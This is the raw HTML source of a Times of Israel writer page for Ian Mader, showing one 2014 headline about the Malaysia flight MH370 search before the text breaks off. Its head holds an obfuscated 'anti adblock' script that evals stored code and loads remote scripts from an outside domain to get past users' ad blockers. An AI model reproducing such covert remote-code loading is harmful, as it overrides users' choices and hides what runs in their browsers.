<!--


                                               ╔═╗┌─┐┌┐┌┌─┐┌─┐┌─┐┌┬┐   ╔╦═╗┌─┐┌─┐┬┌─┐┌┐┌   ┬   ╔╦═╗┌─┐┬  ┬┌─┐┬  ┌─┐┌─┐┌┬┐┌─┐┌┐┌┌┬┐  ┌┐ ┬ ┬
                                               ║  │ │││││  ├┤ ├─┘ │     ║ ║├┤ └─┐││ ┬│││  ┌┼─   ║ ║├┤ └┐┌┘├┤ │  │ │├─┘│││├┤ │││ │   ├┴┐└┬┘
                                               ╚═╝└─┘┘└┘└─┘└─┘┴   ┴ ┘  ═╩═╝└─┘└─┘┴└─┘┘└┘  └┘   ═╩═╝└─┘ └┘ └─┘┴─┘└─┘┴  ┴ ┴└─┘┘└┘ ┴   └─┘ ┴


  RRRRRRRRRRRRRRRRR           GGGGGGGGGGGGGBBBBBBBBBBBBBBBBB        MMMMMMMM               MMMMMMMMEEEEEEEEEEEEEEEEEEEEEEDDDDDDDDDDDDD        IIIIIIIIII               AAA
  R::::::::::::::::R       GGG::::::::::::GB::::::::::::::::B       M:::::::M             M:::::::ME::::::::::::::::::::ED::::::::::::DDD     I::::::::I              A:::A
  R::::::RRRRRR:::::R    GG:::::::::::::::GB::::::BBBBBB:::::B      M::::::::M           M::::::::ME::::::::::::::::::::ED:::::::::::::::DD   I::::::::I             A:::::A
  RR:::::R     R:::::R  G:::::GGGGGGGG::::GBB:::::B     B:::::B     M:::::::::M         M:::::::::MEE::::::EEEEEEEEE::::EDDD:::::DDDDD:::::D  II::::::II            A:::::::A
    R::::R     R:::::R G:::::G       GGGGGG  B::::B     B:::::B     M::::::::::M       M::::::::::M  E:::::E       EEEEEE  D:::::D    D:::::D   I::::I             A:::::::::A
    R::::R     R:::::RG:::::G                B::::B     B:::::B     M:::::::::::M     M:::::::::::M  E:::::E               D:::::D     D:::::D  I::::I            A:::::A:::::A
    R::::RRRRRR:::::R G:::::G                B::::BBBBBB:::::B      M:::::::M::::M   M::::M:::::::M  E::::::EEEEEEEEEE     D:::::D     D:::::D  I::::I           A:::::A A:::::A
    R:::::::::::::RR  G:::::G    GGGGGGGGGG  B:::::::::::::BB       M::::::M M::::M M::::M M::::::M  E:::::::::::::::E     D:::::D     D:::::D  I::::I          A:::::A   A:::::A
    R::::RRRRRR:::::R G:::::G    G::::::::G  B::::BBBBBB:::::B      M::::::M  M::::M::::M  M::::::M  E:::::::::::::::E     D:::::D     D:::::D  I::::I         A:::::A     A:::::A
    R::::R     R:::::RG:::::G    GGGGG::::G  B::::B     B:::::B     M::::::M   M:::::::M   M::::::M  E::::::EEEEEEEEEE     D:::::D     D:::::D  I::::I        A:::::AAAAAAAAA:::::A
    R::::R     R:::::RG:::::G        G::::G  B::::B     B:::::B     M::::::M    M:::::M    M::::::M  E:::::E               D:::::D     D:::::D  I::::I       A:::::::::::::::::::::A
    R::::R     R:::::R G:::::G       G::::G  B::::B     B:::::B     M::::::M     MMMMM     M::::::M  E:::::E       EEEEEE  D:::::D    D:::::D   I::::I      A:::::AAAAAAAAAAAAA:::::A
  RR:::::R     R:::::R  G:::::GGGGGGGG::::GBB:::::BBBBBB::::::B     M::::::M               M::::::MEE::::::EEEEEEEE:::::EDDD:::::DDDDD:::::D  II::::::II   A:::::A             A:::::A
  R::::::R     R:::::R   GG:::::::::::::::GB:::::::::::::::::B      M::::::M               M::::::ME::::::::::::::::::::ED:::::::::::::::DD   I::::::::I  A:::::A               A:::::A
  R::::::R     R:::::R     GGG::::::GGG:::GB::::::::::::::::B       M::::::M               M::::::ME::::::::::::::::::::ED::::::::::::DDD     I::::::::I A:::::A                 A:::::A
  RRRRRRRR     RRRRRRR        GGGGGG   GGGGBBBBBBBBBBBBBBBBB        MMMMMMMM               MMMMMMMMEEEEEEEEEEEEEEEEEEEEEEDDDDDDDDDDDDD        IIIIIIIIIIAAAAAAA                   AAAAAAA


                              ____                                         __   __              _____         __                                     __            
                             / __ \ ____  _      __ ___   _____ ___   ____/ /  / /_   __  __   / ___/ ____ _ / /____ _ ____ ___   ____ _ ____   ____/ /_____ ____ _
                            / /_/ // __ \| | /| / // _ \ / ___// _ \ / __  /  / __ \ / / / /   \__ \ / __ `// // __ `// __ `__ \ / __ `// __ \ / __  // ___// __ `/
                           / ____// /_/ /| |/ |/ //  __// /   /  __// /_/ /  / /_/ // /_/ /   ___/ // /_/ // // /_/ // / / / / // /_/ // / / // /_/ // /   / /_/ / 
                          /_/     \____/ |__/|__/ \___//_/    \___/ \__,_/  /_.___/ \__, /   /____/ \__,_//_/ \__,_//_/ /_/ /_/ \__,_//_/ /_/ \__,_//_/    \__,_/  
                                                                                   /____/                                                                          


                                                                    Find out more about us at http://www.rgbmedia.org

-->

<!DOCTYPE html>
<html lang="en-US" >
    <head>
		<meta charset="UTF-8">
        <meta name="viewport" content="width=1024">
		<title>Ian mader | The Times of Israel</title>

		
    	<script type='text/javascript'>mapp = window.mapp || {}; mapp.data = [];</script>

<!-- This site is optimized with the Yoast SEO plugin v7.3 - https://yoast.com/wordpress/plugins/seo/ -->
<link rel="canonical" href="https://www.timesofisrael.com/writers/ian-mader/" />
<!-- / Yoast SEO plugin. -->

<link rel='dns-prefetch' href='//maps.googleapis.com' />
<link rel='dns-prefetch' href='//ajax.googleapis.com' />
<link rel='dns-prefetch' href='//static.timesofisrael.com' />
<script type='text/javascript' src='https://maps.googleapis.com/maps/api/js?v=3&#038;libraries=places&#038;key=AIzaSyCjQt5QaYL-0MTh6o1B4o0kxgboTvCXMgw'></script>
<script type='text/javascript' src='//ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js?ver=3.1.1'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var mappl10n = {"bicycling":"Bicycling","bike":"Bike","dir_not_found":"One of the addresses could not be found.","dir_zero_results":"Google cannot return directions between those addresses.  There is no route between them or the routing information is not available.","dir_default":"Unknown error, unable to return directions.  Status code = ","directions":"Directions","kml_error":"Error reading KML file","loading":"Loading...","no_address":"No matching address","no_geolocate":"Unable to get your location","traffic":"Traffic","transit":"Transit","zoom":"Zoom","options":{"admin":false,"ajaxurl":"https:\/\/www.timesofisrael.com\/wp-admin\/admin-ajax.php","apiKey":"AIzaSyCjQt5QaYL-0MTh6o1B4o0kxgboTvCXMgw","debug":null,"iconsUrl":"https:\/\/static.timesofisrael.com\/www\/uploads\/mappress\/icons\/","language":"","postid":916698,"siteUrl":"https:\/\/www.timesofisrael.com","standardIconsUrl":"https:\/\/www.timesofisrael.com\/wp-content\/plugins\/mappress-google-maps-for-wordpress\/pro\/standard_icons\/","country":"","defaultIcon":null,"directionsServer":"https:\/\/maps.google.com","directionsUnits":"","iconScale":null,"poiZoom":"15","styles":[],"tooltips":true},"icons":[],"iconsUrl":"https:\/\/static.timesofisrael.com\/www\/uploads\/mappress\/icons\/","standardIconsUrl":"https:\/\/www.timesofisrael.com\/wp-content\/plugins\/mappress-google-maps-for-wordpress\/pro\/standard_icons\/","styles":[]};
/* ]]> */
</script>
<script type='text/javascript' src='https://www.timesofisrael.com/wp-content/plugins/mappress-google-maps-for-wordpress/js/mappress.min.js?ver=2.44.3'></script>
<style type="text/css">html { margin-top: 0 !important; }</style>
		<link rel="stylesheet" type="text/css" media="all" href="https://fonts.googleapis.com/css?family=PT+Serif:400,400i,700,700i|Roboto+Condensed:300,300i,400,400i,700,700i|Roboto:100,100i,300,300i,400,400i,500,500i,700,700i,900,900i|Roboto+Slab:100,300,400,700">
		<link rel="stylesheet" type="text/css" media="all" href="//static.timesofisrael.com/css/style.css?ver=1522834675">
		<link rel="stylesheet" type="text/css" media="all" href="//static.timesofisrael.com/css/colors.css?ver=1522740711">
				<!-- Desktop notifications -->
		<link rel="manifest" href="/manifest.json">
		<script type="text/javascript" src="//cdn.pushwoosh.com/webpush/v3/pushwoosh-web-notifications.js" async></script>
		<script type="text/javascript">
		var Pushwoosh = Pushwoosh || [];
		Pushwoosh.push(['init', {
		    logLevel: 'info',
		    applicationCode: '66EE3-1E559',
		    safariWebsitePushID: 'web.com.timesofisrael.www',
		    defaultNotificationTitle: 'TOI Notification',
		    defaultNotificationImage: 'https://static.timesofisrael.com/www/images/toi_icon_256.png',
		    autoSubscribe: true,
		}]);
		</script>
		<!-- App/Favicon icons -->
		<link rel="apple-touch-icon-precomposed" sizes="120x120" href="https://static.timesofisrael.com/www/images/toi_icon_120.png">
		<link rel="apple-touch-icon-precomposed" sizes="152x152" href="https://static.timesofisrael.com/www/images/toi_icon_152.png">
		<link rel="apple-touch-icon-precomposed" sizes="180x180" href="https://static.timesofisrael.com/www/images/toi_icon_180.png">
		<link rel="icon" type="image/png" sizes="192x192"  href="https://static.timesofisrael.com/www/images/toi_icon_192.png">
		<link rel="icon" type="image/png" sizes="32x32" href="https://static.timesofisrael.com/www/images/favicon_32.png">
		<link rel="icon" type="image/png" sizes="16x16" href="https://static.timesofisrael.com/www/images/favicon_16.png">
		<link rel="manifest" href="https://static.timesofisrael.com/www/images/manifest.json">
		<meta name="msapplication-TileColor" content="#ffffff">
		<meta name="msapplication-TileImage" content="https://static.timesofisrael.com/www/images/toi_icon_144.png">
		<meta name="theme-color" content="#ffffff">

		<script type="text/javascript" async="async" src="//widgets.outbrain.com/outbrain.js"></script>

		<!-- Google Tag Manager -->
		<script>
		(function(w,d,s,l,i){
			w[l]=w[l]||[];w[l].push({
				'gtm.start':new Date().getTime(),event:'gtm.js'
			});
			var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';
			j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
		})(window,document,'script','dataLayer','GTM-5N6HTL');
		</script>

		
		<meta property="fb:app_id"			content="123142304440875">			 
		<meta property="og:url"				content="https://www.timesofisrael.com/writers/ian-mader/">
		<meta property="og:type"			content="website">
		<meta property="og:title"			content="Ian mader">
		<meta property="og:description"		content="News from Israel, the Middle East and the Jewish World">
		<meta property="og:image"			content="https://static.timesofisrael.com/www/images/toi_icon_fb_1200.png">
		<meta property="og:image:width"		content="1200">
		<meta property="og:image:height"	content="630">
		<meta name="twitter:card" 			content="summary_large_image">
		<meta name="twitter:site" 			content="timesofisrael">
		<meta name="twitter:title" 			content="Ian mader">
		<meta name="twitter:description" 	content="News from Israel, the Middle East and the Jewish World">
		<meta name="twitter:image" 			content="https://static.timesofisrael.com/www/images/toi_icon_fb_1200.png">
		<meta itemprop="description" 		content="News from Israel, the Middle East and the Jewish World">
		<meta itemprop="inLanguage" 		content="en-US">
		<meta itemprop="thumbnailUrl" 		content="https://static.timesofisrael.com/www/images/toi_icon_fb_1200.png">
		<meta name="description" 			content="News from Israel, the Middle East and the Jewish World">
		<link rel="original-source" 		href="https://www.timesofisrael.com/writers/ian-mader/">

		<script type='text/javascript'>
		var googletag = googletag || {};
		googletag.cmd = googletag.cmd || [];
		(function() {
		var gads = document.createElement('script');
		gads.async = true;
		gads.type = 'text/javascript';
		var useSSL = 'https:' == document.location.protocol;
		gads.src = (useSSL ? 'https:' : 'http:') +
		'//www.googletagservices.com/tag/js/gpt.js';
		var node = document.getElementsByTagName('script')[0];
		node.parentNode.insertBefore(gads, node);
		})();
		</script>
		<script type='text/javascript'>
		var ad_website = 'TOI_EN';
		var ad_page = 'Other';
		var ad_page_type = 'LP';
		googletag.cmd.push(function() {

			window.adSlot_ATF_LB_1 = googletag.defineSlot('/264857099/TOI_EN/' + ad_page + '/' + ad_page_type + '/ATF_LB_1', [[970, 90], [728, 90], [970, 250], [970, 300]], 'div-gpt-ad-ATF_LB_1').addService(googletag.pubads());
			window.adSlot_BTF_SKY_1 = googletag.defineSlot('/264857099/TOI_EN/' + ad_page + '/' + ad_page_type + '/BTF_SKY_1', [[300, 600], [300, 250]], 'div-gpt-ad-BTF_SKY_1').addService(googletag.pubads());
			window.adSlot_Custom_LB = googletag.defineSlot('/264857099/TOI_EN/Languages/Desktop/Custom_LB', [980, 177], 'div-gpt-ad-Custom_LB').addService(googletag.pubads());

			
			googletag.pubads().collapseEmptyDivs();
			googletag.pubads().setTargeting('TOI_articleID', '');
						googletag.pubads().setTargeting('TOI_video', 'false');
			 			googletag.enableServices();
		});
		</script>

		<!--  google analytics -->
				<script>
		(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
		(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
		m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
		})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

		ga('create', 'UA-28398079-1', 'auto');
		ga('send', 'pageview');

		</script>
		<!--  /google analytics -->

									<script type="text/javascript">
					<!--
					var timer = setInterval("autoRefresh()", 1000 * 60 * 15);
					function autoRefresh(){self.location.reload(true);}
					//-->
				</script>
					
		<!-- JW Player -->
		<script src="//content.jwplatform.com/libraries/U4CTA3JQ.js"></script>

	</head>
	<body class="archive tax-writers term-ian-mader term-88720">

		<!-- Google Tag Manager (noscript) -->
		<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-5N6HTL"
		height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>

		<!-- Anti adblock -->
		<script>try{(function(){function C(){try{var a=L()}catch(c){}if(a)try{D(a.h,null)}catch(c){delete window.localStorage[a.key],delete window.sessionStorage[a.key]}else M(function(a,b){b.as=!0;try{D(a,b)}catch(e){}},N)}function N(){var b=window.location.protocol==a("XSYCCBFN")?a("XSYCCBFNGhc="):a("XSYCCFhYGg==");(new Image).src=b+u+O}function M(a,c){function b(){var d=e.shift();if(d)try{d(a,b)}catch(m){b()}else v(),c()}try{P()}catch(f){v();c();return}var e=[Q,R,S,T];b()}function D(a,c){(function(){eval(a)})({e:a,
p:c,n:g})}function L(){var b=[];window.localStorage&&b.push(window.localStorage);window.sessionStorage&&b.push(window.sessionStorage);var c=E(a("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="),F(a("RSATGQ8VWV0=")));c=new Uint8Array(c);for(var d="",e=0;e<c.length;e++)d+=String.fromCharCode(c[e]);c=btoa(d);d=(new Date).getTime();for(e=0;e<b.length;e++){var f=b[e],m;for(m in f)if(0===m.lastIndexOf(c,0)){try{for(var k=a("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="),g=atob(f[m]),l=new Uint8Array(g.length),
h=0;h<g.length;h++)l[h]=g.charCodeAt(h);var n=r(E(k,l.buffer))}catch(V){continue}h=parseInt(n.substring(0,13),10);if(!isNaN(h))if(864E5<d-h||1>d-h)f.removeItem(m);else if((h=n.substring(13))&&!(16>h.length))return{h:h,key:m}}}return null}function R(b,c){var d=a("BmZBQA=="),e=a("AhBMS1RNAHxNeVVQdhF7WSt7AElsT3x3MkFjNiFMXgQPFjVCIDUPeUJxX1INEnVbKHd7RGdMfn1OQG5NJEZXDAJoQk5YNAYCMX5WWXJqA1BQBHRKY0NyD0ZIbUJYMys=");d=w+":"+d;var f={};f[a("QCAaCw==")]=a("QScEFlg=")+d+a("CiYEGQwERVcFP1EeVCA=");f[a("ViATHAcZQVEWJw==")]=
a("TDMCEQ8W");f[a("QCETCgwWWF0=")]=a("TDMCEQ8W");G(e,f,function(b){b=b.match(new RegExp(a("azEXFgYeUVkDLlY2U3thPQ5qYVhpTD0pBA4MMzJfTWhReVZQPhMeZFkXCEFrfh0FQR1vLDJdYW0oFnJXFg8dFEc3Ghkb")));if(null==b)return null;b=b[1];return a("VjMYHAsTVEwScV1KBnAUJTpheUNlR3p7R1I=")+b+a("FWRFSFNBFUwOO0wYUjwgGEozIBQyBGg=")+b+a("FSAGFxADFQ5Ee11cFz4kFR0uMxt7FSc+AFJp")},b,c)}function S(b,c){var d=a("A2JGSQ=="),e=a("c2dMOSBNDQFNDlhQA2F7WFt7dklsRXt3REBjNVpMWnUPZzRCJ0YPfkJxWFwNZwRbLAR7RRBMenlOSh9NIDNXAHBoRTtYMnYCQHNWWgFqdFJQAHNKZTByeTVIbk5YT1U=");
d=w+":"+d;var f={};f[a("QCAaCw==")]=[a("RiYDFlg=")+d];G(e,f,function(b){b=b.match(new RegExp(a("azEXFgYeUVkDLlY2U3thPQ5qYVhpTD0pBA4MMzJfTWhReVZQPhMeZFkXCEFrfh0FQR1vLDJdaBEQWXBXFg8dFEYgEBQa")));if(null==b)return null;b=b[1];return a("VjMYHAsTVEwScVxKBnAUJTphc0FiQXx1R0RtQEI=")+b+a("FSYPCEIfWksD")},b,c)}function G(b,c,d,e,f){function m(a){k||(k=!0,a.apply(null,Array.prototype.slice.call(arguments,1)))}var k=!1;e=m.bind(null,e);f=m.bind(null,f);var p={};p[a("XDETKwcFQ10FOA==")]=[c];var l=new g.c(p);l[a("ViATGRYScVkDKi8CVj4vBAY=")](a("Gj8TDANYRVEZLA==")).binaryType=
a("VCAEGRsVQF4RLh4=");l[a("WjwfGwcUVFYTIggLQzU=")]=function(b){if(null!=b[a("VjMYHAsTVEwS")]&&(b=d(b[a("VjMYHAsTVEwS")][a("VjMYHAsTVEwS")]),null!=b)){var c={};c[a("VjMYHAsTVEwS")]=b;c[a("RjYGNS4eW10+JQgPTw==")]=0;l[a("VDYSMQESdlkZLwUOViQk")](new g.b(c),function(){},function(){})}};l.addEventListener(a("XDETGw0ZW10UPwUFWSM1AB4kIhg3GC8o"),function(){l[a("XDETOw0ZW10UPwUFWQM1AB4k")]===a("UzMfFAcT")&&f()});var h=a("Q29Gcg1KQEsSOQILWjVhUUpxYTkYVgEdQFJoRVVYXRoFfEdyEUpGXQQ4BQVZPiAMD0siTR84aAQkRnlGUEFDBBtiWEloAwgIV3tmCwo2KA8NJDMAJB8mOU4BMRZPRFgCFQ==")+
b+a("PzNLEQESGFcHPwUFWSN7FRgoIhs6E0IgSRMpBw4fDlVBOxkWQkYHC0NrKD57A24yKRURUGNGeH1+E2QEAQIdWVQiTE1SRwUYAC4OGEMzbAULNSATPhcmIxEeeUVXQGdVCDsVHU8CU0oWLFY=")+function(){for(var b="",c=a("BWJGSFJHBQg="),d=0;16>d;++d){var e=(4294967296*Math.random()>>>0).toString(16);b+=c.substring(0,c.length-e.length)+e}return b}()+a("PzNLEQESGEgAL1ZaB2BxUVpxcUBmRnh9REJpR1JGXQQFYkZIUkcFCEd7XGA=");l[a("ViATGRYSel4RLh4=")](function(b){l[a("RjcCNA0UVFQzLh8JRTkxFQMuLw==")](b,function(){var b={};b[a("QSsGHQ==")]=a("VDwFDwcF");
b[a("RjYG")]=h;l[a("RjcCKgcaWkwSDwkZVCIoER4oLh4=")](new g.f(b),function(){},function(){})},function(){})},function(){});b=l[a("ViATGRYScVkDKi8CVj4vBAY=")](a("GiUFCGI=")+window.navigator.userAgent);b.binaryType=a("VCAEGRsVQF4RLh4=");H(b,x(),function(b){e(b,{rtc:l})},function(){f()})}function T(b,c){function d(b){m||(m=!0,b.apply(null,Array.prototype.slice.call(arguments,1)))}var e=x();e=(window.location.protocol==a("XSYCCBFN")?a("XSYCCBFNGhc="):a("XSYCCFhYGg=="))+u+e;var f=a("chci"),m=!1;b=d.bind(null,
b);c=d.bind(null,c);var k=new g.g;k.onreadystatechange=function(){4==k.readyState&&(0==k.status?c():b(r(k.response),{}))};k.onerror=function(){c()};k.open(f,e,!0);k.responseType=a("VCAEGRsVQF4RLh4=");k.send(null)}function Q(b,c){var d=a("QiEFQk1Y"),e=new g.a(d+w+a("GiUFCA=="));e.binaryType=a("VCAEGRsVQF4RLh4=");H(e,x(),function(a){b(a,{ws:e})},function(){c()})}function H(b,c,d,e){function f(b){g||(g=!0,b.apply(null,Array.prototype.slice.call(arguments,1)))}var g=!1;d=f.bind(null,d);e=f.bind(null,
e);var k=!1,p=setTimeout(function(){e(Error())},3E3),l=F(JSON.stringify({url:c||"",method:a("chci"),headers:{"X-Tb":["ll"]},body:null}));b.onopen=function(){clearTimeout(p);b.send(l)};var h=new ArrayBuffer(0),n;b.onmessage=function(b){if(4===b.data.byteLength){var a=new Uint8Array(b.data);if(222===a[0]&&173===a[1]&&190===a[2]&&239===a[3])return}!1===k?(k=!0,b=r(b.data),n=JSON.parse(b),n={status:n.status||0,headers:n.headers||{}}):(b=b.data,a=new Uint8Array(h.byteLength+b.byteLength),a.set(new Uint8Array(h),
0),a.set(new Uint8Array(b),h.byteLength),h=a.buffer)};b.onerror=function(){clearTimeout(p);e(Error())};b.onclose=function(){k?(n.body=h,d(r(n.body))):(clearTimeout(p),e(Error()))}}function y(b){return window[b.name]?window[b.name]:b[a("Vj0YDAcZQXwYKBkHUj41")]&&b[a("Vj0YDAcZQXwYKBkHUj41")][a("UTcQGRcbQW4eLhs=")]?b[a("Vj0YDAcZQXwYKBkHUj41")][a("UTcQGRcbQW4eLhs=")]:b[a("Vj0YDAcZQW8eJQgFQA==")]}function I(){var b=document.createElement(a("XDQEGQ8S"));b.style.height=a("BCIO");b.style.width=a("BCIO");b.style.display=
a("Wz0YHQ==");b[a("RiAVHA0U")]=a("VA==");b.name||(b.name=String.fromCharCode(parseInt(25*Math.random()+97,10))+Math.random().toString(36).substring(7));(document.body||document.head||document.documentElement).appendChild(b);var c=y(b);c.document.documentElement||c.document.write(a("VA=="));try{c.stop()}catch(d){}return b}function P(){J=a("QDwdFg0AWw==");t=a("VjoEFw8S");q=a("UzsEHQQYTQ==");z=a("WiITCgM=");A=a("RjMQGRAe");var b=I();b=y(b);var c=b.navigator.userAgent;var d=(new RegExp(a("VjoEFw8SSVsfOQMHXiUs"),
"i")).test(c)?t:(new RegExp(a("UzsEHQQYTUQeKAkdUjEyBAY9Jwg/GTs="),"i")).test(c)?q:(new RegExp(a("a3peR0MUXUoYJgkWVj4lEwUoJVl4X2I+FRQ4BQs="),"i")).test(c)?A:(new RegExp(a("WiIEBA0HXFcE"),"i")).test(c)?z:window[a("VjoEFw8S")]?t:"undefined"!==typeof InstallTrigger?q:J;-1===[t,q,z,A].indexOf(d)&&(b=window);c=a("UCQXFA==");g.c=b[c](a("QjsYHA0AG2ojCDwPUiICDgQvJBMiHycjVA4lVxUfA1BaJVgPBxVeUQMZOClnNSQTKS4vHjMVPCQbHHkLHlYaXVs2GQ9MGlpCJR8vOlI1MyIFLy8VNQIhIhpSJQtCAQRaUT0BVg8EZ2w0GwkPRRMuDwQkIgQ/GSY="));g.f=b[c](a("QjsYHA0AG2ojCD8PRCMoDgQFJAM1BCE9ABs2GUIKERRCOxgcDQAbTxIpBwNDAhUiOSQyAz8ZJgkRAToFCwYZXVo8VgQeV0JRGS8DHRk9Lhs4FQIjMwU7JBscHRIRFR9dRSYfFwxXSURXPAUEUz82TwcyEyQVJS0+Bxs2GSYTHldHOwYMCxhb"));
g.b=b[c](a("QjsYHA0AG2ojCCUJUhMgDw4oJREiE2gxCFIuHgwSAkMbJRMaCR5BaiMIJQlSEyAPDiglESITaDEIUi4eDBICQxs/GQIwI3ZxFC4vC1k0KAULNSRQKgpoOh0cPRgVWABHZwY1MQESdlkZLwUOViQk"));d===q?(d=I(),g.a=y(d)[c](a("QjsYHA0AG28SKT8FVDskFQ==")),d.parentElement.removeChild(d)):g.a=b[c](a("QjsYHA0AG28SKT8FVDskFQ=="));g.g=b[c](a("QjsYHA0AG2A6ByQeQyATBBs0JAMi"))}function E(b,a){var c=new Uint8Array(a),e=new ArrayBuffer(a.byteLength);e=new Uint8Array(e);for(var f=0;f<a.byteLength;f++)e[f]=c[f]^b.charCodeAt(f%b.length);return e.buffer}
function r(b){if(window.TextDecoder)return(new window.TextDecoder("utf-8")).decode(new Uint8Array(b));var a="";b=new Uint8Array(b);for(var d=b.byteLength,e=0;e<d;e++)a+=String.fromCharCode(b[e]);return decodeURIComponent(escape(a))}function F(b){if(window.TextEncoder)return(new window.TextEncoder("utf-8")).encode(b).buffer;b=unescape(encodeURIComponent(b));for(var a=new Uint8Array(b.length),d=0;d<b.length;d++)a[d]=b.charCodeAt(d);return a.buffer}function x(){return a("GjcORxVK")+5286866303582208}function a(b){b=
window.atob(b);for(var a="",d=0;d<b.length;d++)a+=String.fromCharCode(b.charCodeAt(d)^"5Rvxbw58wKlj7PAajAApVvHMtrYwbvm4".charCodeAt(d%32));return a}function v(){if(!K){var b=("https:"==window.location.protocol?"https://":"http://")+u+U,a=document.createElement("script");a.type="text/javascript";a.async=!0;a.src=b;(document.body||document.head||document.documentElement).appendChild(a);K=!0}}var B;Math.pow(1,2)&&(B="zipovoma.com");var u=B,w="tr."+B,U=decodeURIComponent("%2Fle%3Fw%3D")+5286866303582208,
O="/l?w="+5286866303582208+"&c=ef&cb="+Math.random().toString().slice(3,9),g={},J,t,q,z,A,K=!1;if(/ucbrowser/i.test(navigator.userAgent)||window.ucweb)try{v()}catch(b){}try{C()}catch(b){}})()}catch(C){};</script>		
		<header class="header">
			<div class="menu-control"></div>
			<div class="container">
				<div class="header-top">
					<ul class="pages-menu languages">
						<li class="editions-menu">
							<div class="lang has-children">
								<span>Edition: </span><a href="/" class="dropdown-btn">English</a>
								<ul class="sub-menu sub-menu-dropdown">
									<li><a href="http://ar.timesofisrael.com/" rel="external">العربية</a></li>
									<li><a href="http://fr.timesofisrael.com/" rel="external">Français</a></li>
									<li><a href="http://fa.timesofisrael.com/" rel="external">فارسی</a></li>
								</ul>
							</div>
						</li>
						<li><a href="http://ar.timesofisrael.com/" rel="external">العربية</a></li>
						<li><a href="http://fr.timesofisrael.com/" rel="external">Français</a></li>
						<li><a href="http://fa.timesofisrael.com/" rel="external">فارسی</a></li>
						</li>
					</ul>
											<ul class="social-header social-small">
							<li class="facebook"><a href="https://www.facebook.com/timesofisrael" rel="external"><span>Facebook</span></a></li>
							<li class="twitter"><a href="https://twitter.com/timesofisrael" rel="external"><span>Twitter</span></a></li>
							<li class="subscribe"><a href="/signup/"><span>subscribe</span></a></li>
						</ul>
									</div>
								<div class="header-middle">
					<a class="logo" href="/"><img alt="The Times of Israel" src="https://static.timesofisrael.com/www/images/toi_logo_white.svg"></a>
				</div>
			</div>
			<div class="search-btn"><a href="/search/"><span>search</span></a></div>
			<div class="header-bottom">
				<div class="container">
					<ul class="main-menu">
						<li class=""><a href="/">Home</a></li>
						<li><a href="https://www.timesofisrael.com/israel-and-the-region/">Israel &amp; the Region</a></li><li><a href="https://www.timesofisrael.com/jewish-times/">Jewish Times</a></li><li><a href="https://www.timesofisrael.com/israel-inside/">Israel Inside</a></li><li><a href="https://www.timesofisrael.com/ops-and-blogs/">The Blogs</a></li><li><a href="https://www.timesofisrael.com/start-up-israel/">Startup Israel</a></li>						<li class="has-children"><a href="#" class="dropdown-btn">Newsletters</a>
							<ul class="sub-menu sub-menu-dropdown newsletters-menu">
								<li><a href="/the-daily-edition/"><span>The Daily Edition</span><br>What Matters Most Today</a></li>
								<li><a href="/start-up-daily/"><span>Startup Daily</span><br>Updates from Silicon Wadi</a></li>
								<li><a href="/the-weekend-edition/"><span>The Weekend Edition</span><br>The Best Reads of the Week</a></li>
							</ul>
						</li>
						<li class="has-children"><a href="#" class="dropdown-btn">Partners</a>
							<ul class="sub-menu sub-menu-dropdown">
																<li><a data-id="4" href="https://www.timesofisrael.com"><span>The Times of Israel</span></a></li>
								<li><a data-id="4" href="http://atlantajewishtimes.timesofisrael.com">Atlanta<br/><span>Atlanta Jewish Times</span></a></li>
								<li><a data-id="1" href="http://jewishstandard.timesofisrael.com">New Jersey<br/><span>The Jewish Standard</span></a></li>
								<li><a data-id="3" href="http://jewishweek.timesofisrael.com">New York<br/><span>The Jewish Week</span></a></li>
								<li><a data-id="5" href="https://jewishchronicle.timesofisrael.com">Pittsburgh<br/><span>Jewish Chronicle</span></a></li>
								<li><a data-id="2" href="http://jewishnews.timesofisrael.com">United Kingdom<br/><span>The Jewish News</span></a></li>
								<li><a data-id="0" href="http://www.timesofisrael.com/local/">For Publishers<br/><span>Become a Times of Israel Partner</span></a></li>
							</ul>
						</li>
						<li class="search-btn">
							<a href="/search/"><span>search</span></a>
						</li>
					</ul>
				</div>
			</div>
			<div class="header-search">
				<div class="container">
					<form class="search-form" method="get" action="/search/">
						<div class="wrap-input">
		               		<input type="text" autocomplete="off" name="q" placeholder="Type here to search" value="" class="search-input" />
		               		<div class="clear-text"></div>
		               	</div>
		               	<input type="submit" value="search" name="submit" />
			        </form>
			    </div>
		    </div>
		</header>
		<div class="main">

			
		<div id="div-gpt-ad-ATF_LB_1" class="banner b970x90">
			<script type="text/javascript">
			googletag.cmd.push(function() { googletag.display("div-gpt-ad-ATF_LB_1"); });
			</script>
		</div>

	<div class="term-header add-border">
		<div class="name">Ian mader</div>
		
	</div>

<div class="hp_section sticky-sidebar-parent">

		
	<section class="cols4 block items sticky-sidebar-relative">
										<div class="item template1 news">
											<div class="media">
														<a href="https://www.timesofisrael.com/all-options-open-as-malaysia-flight-probe-goes-on/"><img width="400" height="250" src="https://static.timesofisrael.com/www/uploads/2014/03/Malaysia-Plane_Horo5-e1395086890896-400x250.jpg" class="attachment-medium size-medium wp-post-image" alt="In this photo provided by the US Navy, crew members on board an aircraft P-8A Poseidon assist in search and rescue operations for Malaysia Airlines flight MH370 in the Indian Ocean on Sunday, March 16. (AP Photo/US Navy, Eric A. Pastor)" title="In this photo provided by the US Navy, crew members on board an aircraft P-8A Poseidon assist in search and rescue operations for Malaysia Airlines flight MH370 in the Indian Ocean on Sunday, March 16. (AP Photo/US Navy, Eric A. Pastor)" /></a>
						</div>
										<div class="item-content">
													<div class="date">March 17, 2014, 10:36 pm</div>
													<div class="headline">
							<a href="https://www.timesofisrael.com/all-options-open-as-malaysia-flight-probe-goes-on/">
								All options open as Malaysia flight probe goes on							</a>
						</div>
													<div class="underline">
